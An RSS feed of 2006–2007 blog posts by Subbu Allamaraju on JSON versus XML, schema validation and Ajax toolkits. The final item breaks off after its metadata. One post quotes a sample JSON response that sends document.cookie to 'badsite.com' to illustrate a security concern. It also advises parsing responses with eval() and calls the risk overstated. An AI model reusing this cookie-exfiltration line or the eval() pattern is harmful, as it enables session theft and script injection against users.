<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>subbu.org &#187; xml</title>
	<atom:link href="http://www.subbu.org/blog/category/xml/feed" rel="self" type="application/rss+xml" />
	<link>http://www.subbu.org</link>
	<description></description>
	<lastBuildDate>Sun, 05 Feb 2012 20:12:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>JSON as a General Purpose Alternative?</title>
		<link>http://www.subbu.org/blog/2007/01/json-as-a-general-purpose-alternative</link>
		<comments>http://www.subbu.org/blog/2007/01/json-as-a-general-purpose-alternative#comments</comments>
		<pubDate>Thu, 04 Jan 2007 10:30:56 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Web Services]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2007/01/json-as-a-general-purpose-alternative/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2007%2F01%2Fjson-as-a-general-purpose-alternative"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2007%2F01%2Fjson-as-a-general-purpose-alternative&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>The <a href="http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=d639d908-7fbc-40cd-8e36-e6d48c07f659">discussion</a> at Dare Obasanjo&#8217;s blog, and the references to some other recent posts motivate me to look at some of the broader arguments being made. It is clear that processing JSON data using JavaScript is trivial, and that is what makes JSON a popular alternative over XML currently. All other advantages and disadvantages over XML are incidental. If we take out JavaScript from the picture, JSON is not a clear winner. Both JSON and XML take some effort to parse and process outside JavaScript.</p>
<p><span id="more-88"></span></p>
<p>Unfortunately, some in the industry are missing this point, and concluding that JSON is a clear winner over XML for other reasons such as being a simpler format, faster and so on. For instance, in his post <a href="http://www.tbray.org/ongoing/When/200x/2006/12/21/JSON">JSON and XML</a>, Tim Bray seems to be favoring JSON because &ldquo;JSON&#8217;s single prpose design is to put struts on the wire&rdquo; That&#8217;s not why web developers favor JSON over XML. It is the complexity of processing on the browser, and JSON makes it trivial.</p>
<p>I tend to agree with <a href="http://pluralsight.com/blogs/dbox/archive/2007/01/03/45560.aspx">Don Box</a>, who commented that &ldquo;JSON has a huge hill to climb to displace XML for new applications that don&#8217;t already have a JavaScript/browser component&rdquo;. We need some more serious efforts to simplify JSON creating/parsing in languages other than JavaScript to make JSON more general-purpose than it is today. Although there is <a href="http://www.megginson.com/blogs/quoderat/2007/01/03/all-markup-ends-up-looking-like-xml/">no information that can be represented in an XML document that cannot be represented in a JSON document</a>, it does not mean that all new applications should switch from XML to JSON. For now, if a browser is the consumer of the data, consider JSON over XML.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2007/01/json-as-a-general-purpose-alternative/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>More on Validation</title>
		<link>http://www.subbu.org/blog/2007/01/more-on-validation</link>
		<comments>http://www.subbu.org/blog/2007/01/more-on-validation#comments</comments>
		<pubDate>Wed, 03 Jan 2007 20:42:19 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Web Services]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2007/01/more-on-validation/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2007%2F01%2Fmore-on-validation"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2007%2F01%2Fmore-on-validation&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Does validation mean that interface and implementation are tightly coupled, making the service hard to maintain? Mark Baker posted some <a href="http://www.coactus.com/blog/2007/01/two-more-reasons-why-validation-is-still-harmful/">more questions on validation</a> yesterday. Validation does have merits in some cases, and the bigger challenge is designing extensible interfaces.</p>
<p><span id="more-87"></span></p>
<p>His first comment is that </p>
<div class="note">
Schemas, on the other hand, when used in a typical “gatekeeper” style &#8211; where the software doesn’t see the document until after it’s passed validation &#8211; break encapsulation by enforcing some business rules separately from the software responsible for them. In practice, it’s rarely the case that software doesn’t also have some of these rules, meaning that they’re duplicated, creating a maintainability issue.
</div>
<p>For an outsider/client, it does not matter whether a service failed due to validation error or some other failure. All that the client wants to know is whether the message was processed, and if not, why not. What difference does it make whether a scheme validator failed because &ldquo;ABC123&rdquo; is not a valid 5-digit number or some code block failed because it needs a valid ZIP code to proceed? In that sense, what is the difference between the a structural/value constraint in a schema or some error generated in code.</p>
<p>Another way to look at this is in terms of preconditions and post-conditions. As part of the interface design, it is sensible to express what the preconditions are and what the post-conditions are. Preconditions tell the client what needs to happen for the software to be able to process a request. Agreed that schema languages do not have the smartness to represent all possible preconditions, but they can simplify the effort required to implement certain preconditions in code. Let&#8217;s say, the software need to process a purchase order, and certain pieces of data are required to make a purchase order meaningful &#8211; for example, it may need certain product descriptions, some contact info etc. To verify these preconditions, the software needs to check that these elements are supplied, and that they make sense (i.e. the software understands those product descriptions and contact info). In most cases, it is possible to express these preconditions in a schema language, and let a validator assert some of the preconditions. This saves time and effort. As I argued in my <a href="http://www.subbu.org/weblogs/main/2006/12/is_validation_h_1.html">previous post</a>, upon a validation error, whether to fail immediately or continue is a use-case specific. </p>
<p>There is one particular case where I would consider validation dangerous. It some cases the same software may be described by multiple interfaces. In those case, it is better to keep the software itself decoupled from the interface description, i.e. from the schema language used for describing the interface, and verify the preconditions within code and not rely on a validator.</p>
<p>Preconditions are important to make an interface description useful. The key challenge here is specifying the preconditions such that they are extensible and not set in stone. The current version of the software may only be able to process locations expressed as <tt>&lt;address&gt;&lt;street&gt;&lt;/street&gt;&lt;city&gt;&lt;/city&gt;&lt;/address&gt;</tt>, but the next version may also be able to process a &ldquo;<tt>street, city, zip</tt>&rdquo; format, or even geo-coordinates. As the software gets smarter, it needs to be able to process more kinds of messages without significantly changing the interface itself. That is where the schema languages are lacking. It is true that schemas can be used to address extensibility &#8211; but in reality &#8211; the solutions are painful to implement &#8211; like versioning a schema, introducing extension points and so on. The must-ignore rule is easy enough to implement, but the rest of the schema extensibility solutions are not.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2007/01/more-on-validation/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Is Validation Harmful?</title>
		<link>http://www.subbu.org/blog/2006/12/is-validation-harmful</link>
		<comments>http://www.subbu.org/blog/2006/12/is-validation-harmful#comments</comments>
		<pubDate>Tue, 26 Dec 2006 10:46:26 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2006/12/is-validation-harmful/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F12%2Fis-validation-harmful"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F12%2Fis-validation-harmful&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>This post is in response to <a href="http://www.coactus.com">Mark Baker</a>&#8216;s post on <a href="http://www.coactus.com/blog/2006/12/validation-considered-harmful/">Validation Considered Harmful</a>. He is partly right about the harmfulness of validation in the specific use case discussed in his post, but I disagree with the generalization implied in his post. Whether validation is useful or not depends on the schema design, and document validation is not a sacred cow worth picking on.</p>
<p><span id="more-84"></span></p>
<p>Mark considers a scenario in which party B sends a document to party A for some processing. The schema A and B are following has been updated to accept a new value for some field. Old values are still allowed. </p>
<p>Assuming that A and B are using W3C&#8217;s XML Schema, the schema may have been changed from </p>
<div class="code-snippet">
<pre>&lt;simpleType name='someInt'&gt;
&lt;restriction base='integer'&gt;
&lt;minInclusive value='1'&gt;
&lt;maxInclusive value='3'&gt;
&lt;/restriction&gt;
&lt;/simpleType&gt;</pre>
</div>
<p>to the following:</p>
<div class="code-snippet">
<pre>&lt;simpleType name='someInt'&gt;
&lt;restriction base='integer'&gt;
&lt;minInclusive value='1'&gt;
&lt;maxInclusive value='4'&gt;
&lt;/restriction&gt;
&lt;/simpleType&gt;</pre>
</div>
<p>Party B uses the new schema and sends a value of &ldquo;<tt>4</tt>&rdquo; allowed by the new schema but not allowed by the old version of the schema. Party A does not understand the new schema yet, and hence it&#8217;s schema validator rejects the new message. Mark concludes that validation is therefore harmful, and I disagree.</p>
<p>This example is a generalization of the schema extensibility problem. In this particular example, although the scheme change was compatible (i.e new value space for this integer is a super set of the old value space), since A and B are using different versions of the schema, validation will fail when the sending party uses constructs from a later version of the schema.</p>
<p>My first comment is that schema validation may not matter in this example for A to fail. Even if A does not validate the incoming XML, there are several things that can fail within A&#8217;s code that is processing the message. For example there may be a database constraint somewhere in the back-end that may fail when it sees a value out of range. Or, some GUI may fail to render because it did not expect a new value. In that sense, validation provides a first-line of defense. There is nothing wrong with having a first line of defense. Failing early is better than failing late. </p>
<p>Secondly, in this particular example, there are two ways to address the schema extensibility.</p>
<p>If party A is only one processing the XML and B is always the sender, it needs to <em>own</em> the schema. That would let it control the evolution of the schema along with the code changes happening in its implementation. By letting some other arbitrary party extend the schema in the way described in Mark&#8217;s post, the receiving party can easily be made to fail.</p>
<p>If the schema is needed to be controlled by some other party, then it needs to take an entirely different approach towards extensibility. It could, e.g. use extensibility points in the schema (using <tt>xs:any</tt>) to introduce changes. Alternatively, when the changes are significant, it could create a new version of the schema in a new namespace. Both these approaches will make B&#8217;s messages schema-valid, and preserve forwards and backwards compatibility. See <a href="http://www.subbu.org/weblogs/welcome/2005/03/versioning_xml.html">this</a> and <a href="http://www.subbu.org/weblogs/welcome/2005/03/versioning_xml.html">this</a> for some background.</p>
<p>My take is that schema validation is useful and can help catch bugs early. Whether an application should fail immediately or not after detecting a schema violation is an implementation choice. There are cases when it can simply ignore the failures and continue to process, then there are cases when it needs to fail immediately. For instance, if party B sends some new XML elements that party A does not understand and does not care, it could simply ignore the validation errors. But if it receives a different set of values for some elements that it needs to decipher, it may choose to fail early.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2006/12/is-validation-harmful/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JSON vs XML</title>
		<link>http://www.subbu.org/blog/2006/08/json-vs-xml</link>
		<comments>http://www.subbu.org/blog/2006/08/json-vs-xml#comments</comments>
		<pubDate>Sun, 27 Aug 2006 21:15:08 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Ajax]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[XMLHttpRequest]]></category>
		<category><![CDATA[JSON]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2006/08/json-vs-xml/</guid>
		<description><![CDATA[What is the right response format for XMLHttpRequest in Ajax applications? The answer is simple for most markup-oriented applications &#8211; use HTML. For data-oriented applications the choice is between XML and JSON. Until recently I did not pay much attention to the question of whether to use XML or JSON. I just presumed that the [...]]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F08%2Fjson-vs-xml"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F08%2Fjson-vs-xml&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>What is the right response format for XMLHttpRequest in Ajax applications? The answer is simple for most markup-oriented applications &#8211; use HTML. For data-oriented applications the choice is between XML and <a href="http://www.json.org">JSON</a>. Until recently I did not pay much attention to the question of whether to use XML or JSON. I just presumed that the use case at hand will dictate the format. I had a chance to test this presumption<br />
recently. In this post, I would like to describe the criteria I used for comparing between XML and JSON, and my analysis.</p>
<p><span id="more-76"></span></p>
<p>Here is my criteria:</p>
<ul>
<li>Human readability</li>
<li>Ease of creating the data on the server side</li>
<li>Ease of processing the data on the client side</li>
<li>Extensibility of the payload</li>
<li>Debugging and trouble-shooting</li>
<li>Security</li>
</ul>
<h3>Human Readability</h3>
<p>Peter-Paul Kock of <a href="http://www.quirksmode.org">QuirksMode.org</a> includes human-readability as one of the criteria in <a href="http://www.quirksmode.org/blog/archives/2005/12/the_ajax_respon.html">his analysis</a>. IMO, human-readability is a secondary goal, and one could easily argue that JSON is as human-readable as XML &#8211; provided both are pretty-printed. </p>
<table>
<tr>
<td width="40%">
<pre name="code" class="xml">
<person>
<firstName>Subbu</firstName>
<lastName>Allamaraju</lastName>
</person></pre>
</td>
<td width="40%">
<pre class="brush: java">({
"firstName" : "Subbu",
"lastName" : "Allamaraju"
});</pre>
</td>
</tr>
</table>
<p>I would argue that the ability to debug and trouble-shoot is more important than human-readability.</p>
<h3>Ease of Data Creation</h3>
<p>Given that XML has been around for years, there are a number of XML data-binding APIs to create XML in several programing languages. In the Java-land, for instance, you could data-binding APIs like <a href="http://java.sun.com/webservices/jaxb/index.jsp">JAXB</a> or <a href="http://xmlbeans.apache.org/">XmlBeans</a> to write XML response. Here is an example using JAXB.</p>
<pre class="brush: java">
Person person = new Person();
person.setFirstName("Subbu");
person.setLastName("Allamaraju");
Marshaller marshaller = ... // Create a marshaller instance
marshaller.marshal(person, outputStream);</pre>
<p>On the otherhand, APIs to create JSON responses are fairly new. Nonetheless, <a href="http://www.json.org">JSON.org</a> lists a fairly impressive collection of APIs in various languages. Here is an example of creating a response with <a<br />
href="http://json-lib.sourceforge.net">Json-lib</a>.</p>
<pre class="brush: java">
Person person = new Person();
person.setFirstName("Subbu");
person.setLastName("Allamaraju");
writer.write(JSONObject.fromObject(person).toString());</pre>
<p>JSON is not far behind in terms of APIs to serialize Java beans into objects. However, I must point out that there are far more ways to create XML than JSON. Some of those XML APIs have been around for years and hence may be more stable for complex<br />
applications.</p>
<p>Another point to consider is what sources are being used to generate the response. If your backend is already doing the heavy-lifting to create data as XML, it will most likely be<br />
optimal to use XML as the response format. If not, I would not discount using JSON.</p>
<h3>Ease of Data Processing on the Client Side</h3>
<p>On the client-side, processing JSON data from the response of an XMLHttpRequest is trivial.</p>
<pre class="brush: java">
var person = eval(xhr.responseText);
alert(person.firstName);</pre>
<p>With a simple eval(), you could evaluate the response to a JavaScript object. Once this step is done, to access the data, you just access the properties of the evaluated<br />
object. This is the most elegant part of JSON.</p>
<p>Now consider XML. To keep the code snippet below short, I have excluded all error checks.</p>
<pre class="brush: java">
var xml = xhr.responseXML;
var elements = xml.getElementsByTagName("firstName");
alert(elements[0].firstChild.textContent);</pre>
<p>Apparently, to process the response data, you need to walk the DOM tree. This is a very tedious exercise, and is error prone. Unfortunately, DOM is what we are left with on the browser side. Browsers don&#8217;t support query languages like XPath to query and<br />
select nodes in an XML document. There is XSLT support, but it is limited to transforming XML into markup (e.g. HTML). W3C&#8217;s <a href="http://www.w3.org/2006/webapi/">Web API Working Group</a> is working on a <a href="http://www.w3.org/TR/selectors-api/">Selectors API</a> that can be used to use CSS-style selectors to select nodes<br />
from a <code>Document</code> object. With this API, the above code snippet can be changed to <code>xml.match(&quot;person.firstName&quot;)</code> to get the<br />
<code>firstName</code> element. This is not a great improvement in this specific example XML document, but will be more useful to process deeply nested documents. This API is is work-in-progress, and is years away from browsers supporting this API.</p>
<p>Between XML and JSON, I prefer JSON for ease of client side processing.</p>
<h3>Extensibility</h3>
<p>Extensibility helps reduce the coupling between the producer and the consumer of the data. In the context of Ajax applications, the client side script should be reasonably agnostic of compatible changes made to the data.</p>
<p>It is a <a href="http://blogs.ebusiness-apps.com/dave/?p=43">common presumption</a> that, just because there is an &quot;X&quot; in XML, XML is automatically extensible. That is not necessarily the case (i.e. not automatic). The extensibility of XML is based on the principle that you can define extensibility points in your XML, and then honor the must-ignore rule (i.e. if you come across an unknown<br />
element/attribute while processing XML, just ignore it).</p>
<p>To take advantage of extensibility, you need to write the processing code on the client side with extensibility in mind. For example, the following code would break when you insert, e.g., a middleName element.</p>
<pre class="brush: java">
var xml = xhr.responseXML;
var elements = xml.getElementsByTagName("firstName");
var firstNameEl = elements[0];
var lastNameEl = firstNameEl.nextSibling;</pre>
<p>When you insert a &lt;middleName&gt; element after the &lt;firstName&gt; element, the code above would incorrectly treat the middle name as last name. To be agnostic of this<br />
change, this code will have to be rewritten to either explicitly get the &lt;lastName&gt; element, or keep accessing nextSibling till the sibling with the correct<br />
tagName is found. So, XML is extensible as long as you write the processing code with extensibility in mind. There is no magic.</p>
<p>How about JSON? I would argue that it is simpler to extend JSON data than XML. It certainly takes less effort. Consider adding a <code>middleName</code> property to the JSON response. To access it, you would simple access the property.</p>
<pre name="code" class="javascript">
alert(person.middleName);</pre>
<p>This code need not be changed if you insert a middle name. How about processing a person object with or without middle name? It is simple with JSON.</p>
<pre name="code" class="javascript">
if(person.middleName) {
// Process
}</pre>
<p>My take is that, provided extensibility is kept in mind, both XML and JSON can be extended. JSON is just much easier to deal with extensibility than XML. You just need to check if a given property exists on an object, and process accordingly.</p>
<p>There is another kind of extensibility possible with JSON, that is to inject code along with the data into the response. </p>
<pre name="code" class="javascript">
alert("Hi - I'm a person");
({"firstName" : "Subbu",
"lastName" : "Allamaraju"});
</pre>
<p>When this data is evaluated via eval(), the browser would also execute the alert() statement. This way, you can download and execute code. This approach needs to be used carefully as it pollutes the response and creates a coupling between the code and data. Some people also consider this technique a security risk &#8211; more about that below.</p>
<h3>Debugging and Trouble-shooting</h3>
<p>This aspect needs to be addressed on both the server side and the client side. On the server side, it is necessary to ensure that the data is well-formed and valid. On the client side, it should be easy to debug errors in the response.</p>
<p>With XML, it is relatively easy to check that the data being sent to the client is well-formed and valid. You can use a schema for your data, and use that to validate the data. With JSON, this task is manual, and involves verifing that the response object has<br />
the right attributes.</p>
<p>On the client side, it is difficult to spot errors in either format. With XML, the browser would simply fail to parse the XML into the responseXML. For small JSON data, I was able<br />
to detect errors with the <a href="https://addons.mozilla.org/firefox/1843/">FireBug</a><br />
extension in Firefox. With larger data, it may be a bit more difficult to relate the error messages to the data.</p>
<h3>Security</h3>
<p><a href="http://blogs.ebusiness-apps.com/dave">Dave Johnson</a> comments that JSON could pose security problems in his post <a href="http://blogs.ebusiness-apps.com/dave/?p=43">JSON and the Golden Fleece</a>. His comment is based on the fact that you can include script along with data in JSON responses, and by using<br />
eval() to process the response, you will also be executing the script, and that such a script may pose a security risk.</p>
<pre name="code" class="javascript">
window.location = "http://badsite.com?" + document.cookie;
person : {
"firstName" : "Subbu",
"lastName" : "Allamaraju"
}</pre>
<p>The response above, when evaluated, will cause the browser to post the user&#8217;s cookies to a rogue site. But there is a fallacy in the argument about the security risk. You should not trust data or code when it was returned from un untrusted source. Secondly, you<br />
can not use XMLHttpRequest to connect to domains other than the one you downloaded the script from. So, only the developer(s) in charge of building the application can post the cookies to a rogue site. This is a bit fictitious, since those developers can put the<br />
same code elsewhere in the document outside the data. So unless I&#8217;m missing something, I don&#8217;t consider that JSON is insecure when compared to XML. </p>
<h3>My Conclusion</h3>
<p>For data-oriented applications, I prefer JSON to XML due to its simplicity and ease of processing on the client side. XML may be great on the server side, but JSON is definitely easier to deal with on the client side.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2006/08/json-vs-xml/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>What is an Ajax Toolkit?</title>
		<link>http://www.subbu.org/blog/2006/08/what-is-an-ajax-toolkit</link>
		<comments>http://www.subbu.org/blog/2006/08/what-is-an-ajax-toolkit#comments</comments>
		<pubDate>Wed, 16 Aug 2006 21:50:39 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Ajax]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[XMLHttpRequest]]></category>
		<category><![CDATA[J2EE]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[JSON]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2006/08/what-is-an-ajax-toolkit/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F08%2Fwhat-is-an-ajax-toolkit"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F08%2Fwhat-is-an-ajax-toolkit&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>This may sound like a dumb question to ask. But I find that Ajax toolkits offer a mixed bag of features not all of which are necessarily related to &#8220;asynchronous JavaScript and XML&#8221;. Things usually found in a toolkit include &#8211; basic I/O support using XMLHttpRequest and/or iframes, client side widgets for partial page updates, server side controls/APIs for partial page updates, eye candy like drag-and-drop, scrollbars, sortable tables, layouts etc, or support for data transfer via JSON, XML etc, or Comet and so on. I feel that when Ajax toolkits come up for discussion, it is difficult to have a meaningful conversation unless there is a clear set of goals and use cases, and which aspects of Ajax toolkits are we talking about.</p>
<p><span id="more-74"></span></p>
<p>IMO, Ajax toolkits are just what they are &#8211; kits with a mixed set of tools. Here is the list of points that I would consider when addressing the question of toolkit choice (or even rolling out your own).</p>
<h3>Basic I/O</h3>
<p>Usually at this layer, we are talking about submitting requests using XMLHttpRequest and/or iframes. What a toolkit would probably buy is not having to deal with cross-browser nuances. But as XMLHttpRequest support becomes more consistent across browsers, this task will become more and more trivial. If all you care about is I/O, using a toolkit does not automatically buy you anything.</p>
<h3>Client Side APIs for Partial Page Updates</h3>
<p>Here toolkits can add some value. Take, for example, submitting a form via an XMLHttpRequest, and doing some DOM changes when a response comes back (the stuff you do when readyState = 4). This is basic, yet mundane. Toolkits like Dojo could take out some of the drudgery involved in this task.</p>
<h3>Server Side APIs for Partial Page Updates</h3>
<p>Toolkits offering this support make me uncomfortable. These toolkits usually generate some data and script automatically based on the APIs used in your code on the server side. What makes me uncomfortable about these toolkits is the level of abstraction supported. Usually these toolkits start with simple abstractions which look elegent at the beginning, and become leaky when it comes to complex problems requiring control over details. Without getting into specifics, I would ask questions related to caching, cookies, security, and whether the API has support to control these. If your toolkit stands up to these questions, you are in luck.</p>
<p>Another thing to consider is how flexible the APIs are. Questions to ask include &#8211; how well does the toolkit support your favorite web development language and framework, how well does it integrate with your existing apps etc. </p>
<h3>Data Support</h3>
<p>This area includes support for dealing with JSON and XML. Strictly speaking, this area is not related to Ajax itself. There are a number of APIs available (outside Ajax toolkits) to do this work, and Ajax toolkits don&#8217;t necessarily offer any value here. Instead of focusing on toolkit support, I would look at the application I am writing, what kinds of data it needs to communicate with the browser, and a schema for the payload across the app.</p>
<h3>Widgets and Eye Candy</h3>
<p>IMO, these are pre-Ajax (I mean, pre-Google-suggest), but took a front-seat with the increased popularity of Ajax over the last couple of years. Most of the support here has to do with cross-browser HTML, CSS, and JavaScript to provide some rich UI. Again, none of these widgets may be related to Ajax directly. Most server-side web developers would consider writing these widgets yucky (more about these feelings in another post), and Ajax toolkits may be your best bet.</p>
<h3>So-Called Backbutton and History Solutions</h3>
<p>As I discussed in a <a href="http://www.subbu.org/weblogs/main/2006/06/ajax_and_histor.html">previous post</a>, the problems are hard and the solutions are premature. I would not focus on these features yet, since solutions don&#8217;t worky very well. Moreover, getting these solutions to work in complex apps is not trivial.</p>
<h3>How About Comet?</h3>
<p>Although Comet and Ajax are discussed together often, IMO, Comet is whole different area mostly dealing with web/application servers, and programming models to take advantage of Comet. The problem is to be able to serve responses over long-running connnections without necessarily tieing each connection to a single process or thread. See my post on <a href="http://www.subbu.org/weblogs/main/2006/04/dissecting_ajax_1.html">server push</a> for a demo and some analysis.</p>
<p>In the JEE world, the challenge is to improve the servlet API such that a servlet can process a given request over multiple threads. This gives the boring servlet API some flexibility to wake up when interesting events occur, and generate some more response. <a href="http://www.mortbay.com/MB/log/gregw/?permalink=ScalingConnections.html">Jetty</a> and <a href="http://weblogs.java.net/blog/jfarcand/archive/2006/07/the_grizzly_com.html">Glassfish</a> have some experimental (read &#8211; non-standard and non-portable) support for Comet. This area will remain in flux until the servlet EG takes up this problem and designs an API. Once this is in place, the next challenge to get servlet containers actually take advantage of Comet and offer scalable support without necessarily tieing requests to threads.</p>
<p>So, what is an Ajax toolkit, and which one to pick? Before asking around, I would list my goals and use cases first. I would also consider the fact there are still too many toolkits, and it is likely that some of these will disappear or get consolidated over time. Other questions I have not addressed here, yet may be important, are how stable a given toolkit is, whether the toolkit cares about backward-compatibility or not, whether a new version of a browser will force you to upgrade your toolkit, etc.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2006/08/what-is-an-ajax-toolkit/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Ajax and getElementById</title>
		<link>http://www.subbu.org/blog/2006/04/ajax-and-getelementbyid</link>
		<comments>http://www.subbu.org/blog/2006/04/ajax-and-getelementbyid#comments</comments>
		<pubDate>Wed, 26 Apr 2006 21:52:33 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[Ajax]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[XMLHttpRequest]]></category>

		<guid isPermaLink="false">http://wp.subbu.org/2006/04/ajax-and-getelementbyid/</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F04%2Fajax-and-getelementbyid"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.subbu.org%2Fblog%2F2006%2F04%2Fajax-and-getelementbyid&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Ever wonder why the method <code>getElementById</code> returns null when applied to <code>responseXML</code> of XMLHttpRequest?</p>
<p>Thomas Rabaix discusses about this problem briefly in his <a href="http://rabaix.net/index.php/en/articles/issues_developing_ajax_libraries">Issues when developing AJAX Libraries</a>. Here is a more detailed answer.</p>
<p><span id="more-66"></span></p>
<p>In the snippet below, the value of <code>getElementById()</code> would be null.</p>
<pre name="code" class="javascript">
request.onreadystatechange = function()
{
if(request.readyState == 4) {
if(request.status == 200) {
var info = request.responseXML.getElementById("someid");
alert(info);
}
}
};
</pre>
<p>In XML, attribute with name <code>id</code> is not automatic. For an element to have an attribute named <code>id</code>, an attribute with name <code>id</code> and type <code>ID</code> must be defined in a schema or DTD underlying an XML document. For instance, XHTML defines such an attribute. The ID type is defined in XML 1.0 and further in XML Schema to be an attribute with a value which must be unique within a given document.</p>
<p>DOM Level 2 describes the behavior of <code>getElementById()</code>.</p>
<div class="note">
<p>Returns the Element whose ID is given by elementId. If no such element exists, returns null. Behavior is not defined if more than one element has this ID.</p>
<p>Note: The DOM implementation must have information that says which attributes are of type ID. Attributes with the name &#8220;ID&#8221; are not of type ID unless so defined. Implementations that do not know whether attributes are of type ID or not are expected to return null.</p>
</div>
<p>Further, <a href="http://www.w3.org/TR/xml-id/">xml:id Version 1.0</a> encourages schemas to declare attributes named <code>xml:id</code> with the type <code>xs:ID</code>.</p>
<p>The bottomline is that, unless an attribute of type <code>ID</code> is known to the DOM implementation, this method with return null.</p>
<p>For <code>responseXML.getElementById()</code> to return an element with the matching id value, XMLHttpRequest implementations must be aware of the underlying schema/DTD that defines an <code>id</code> attribute of type <code>ID</code>. Currently browsers are not schema/DTD aware for XMLHttpRequests, although they support well-known DTDs like HTML and XHTML for documents.</p>
<div class="note">
<strong>I was reminded that the solution is to use <code>xml:id</code> attribute in the XML so that <code>getElementById</code> can recognize ID type attributes &#8211; Apr 18, 2008</strong>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.subbu.org/blog/2006/04/ajax-and-getelementbyid/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Angle Brackets or Annotations</title>
		<link>http://www.subbu.org/blog/2006/04/angle-brackets-or-annotations</link>
		<comments>http://www.subbu.org/blog/2006/04/angle-brackets-or-annotations#comments</comments>
		<pubDate>Wed, 12 Apr 2006 17:10:21 +0000</pubDate>
		<dc:creator>Subbu Allamaraju</dc:creator>
				<category><![CDATA[JAX-WS]]></category>
		<category><![CDATA[Web Services]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[J2EE]]></category>
		<category><![CDATA[Java]]></category>

